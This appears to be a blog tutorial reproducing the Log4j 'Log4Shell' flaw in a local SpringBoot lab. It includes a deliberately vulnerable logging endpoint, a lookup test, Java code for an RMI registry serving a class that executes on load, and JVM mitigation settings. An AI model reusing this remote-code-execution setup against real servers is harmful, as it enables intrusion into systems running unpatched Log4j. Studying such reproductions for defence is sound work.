Skip to main content

Reproducing the Log4j Vulnerability in SpringBoot

1. Background

The Log4j epic vulnerability has been making waves these past few days, which made me want to explore how it's actually triggered.

2. Setting Up a SpringBoot Project with Log4j

Following the Spring official guide, create a SpringBoot project and modify the pom file:

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

</dependencies>

2.1 Check the Imported Dependencies

You can see that the log4j dependency I imported is below version 2.15.0, which means it will trigger this bug.

image.png

2.2 Write a Common API to Accept External Parameters

package run.runnable.learn;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.annotation.PostConstruct;

@SpringBootApplication
@Controller
public class LearnApplication {

private static final Logger logger = LogManager.getLogger(LearnApplication.class);

public static void main(String[] args) {
SpringApplication.run(LearnApplication.class, args);
}

@PostMapping("/hack")
@ResponseBody
public String testHackExecute(@RequestBody String content){
logger.info("content:{}", content);
return content;
}

}

Here I wrote a hack endpoint that prints when parameters are passed in. Almost everyone has written code like this, which is one of the reasons why this vulnerability is so severe: it's easy to trigger.

3. Testing the Vulnerability

3.1 Pass Specific Parameters to Print VM Information

Using Postman to call the API, you can see a successful response.

image.png

Let's check the system logs - the output isn't ${java:vm}, but the actual JDK information!

image.png

3.2 Testing RMI Remote Invocation

If it were just the situation above, it wouldn't be too bad - at least it only generates some error logs. But this RMI remote invocation is very dangerous.

Let's first write a registry using Java's native RMI, then register a service:

public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("run.runnable.learn.rmi.HackExecute", "run.runnable.learn.rmi.HackExecute", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
System.out.println("service started");
registry.bind("hack", referenceWrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}

And a class that can be executed:

public class HackExecute {

static {
System.out.println("HackExecute: Successful execution");
}

}

Let's start the RMI service above, then use Postman to make the call.

image.png

When we check the console logs, you'll find that the RMI remote call was successfully executed!

image.png

This means I can execute my own code on the target server through this method. It truly deserves to be called an epic vulnerability.

4. Emergency Remediation Measures

(1) Modify JVM parameter: -Dlog4j2.formatMsgNoLookups=true

(2) Modify configuration: log4j2.formatMsgNoLookups=True

(3) Set system environment variable FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS to true

Apache Log4j Remote Code Execution Vulnerability - What Impact Will It Have on Related Enterprises? - nlfox's Answer - Zhihu

Logging Services - Lookups

Important Notice: Risk Alert for Apache Log4j 2 Remote Code Execution Vulnerability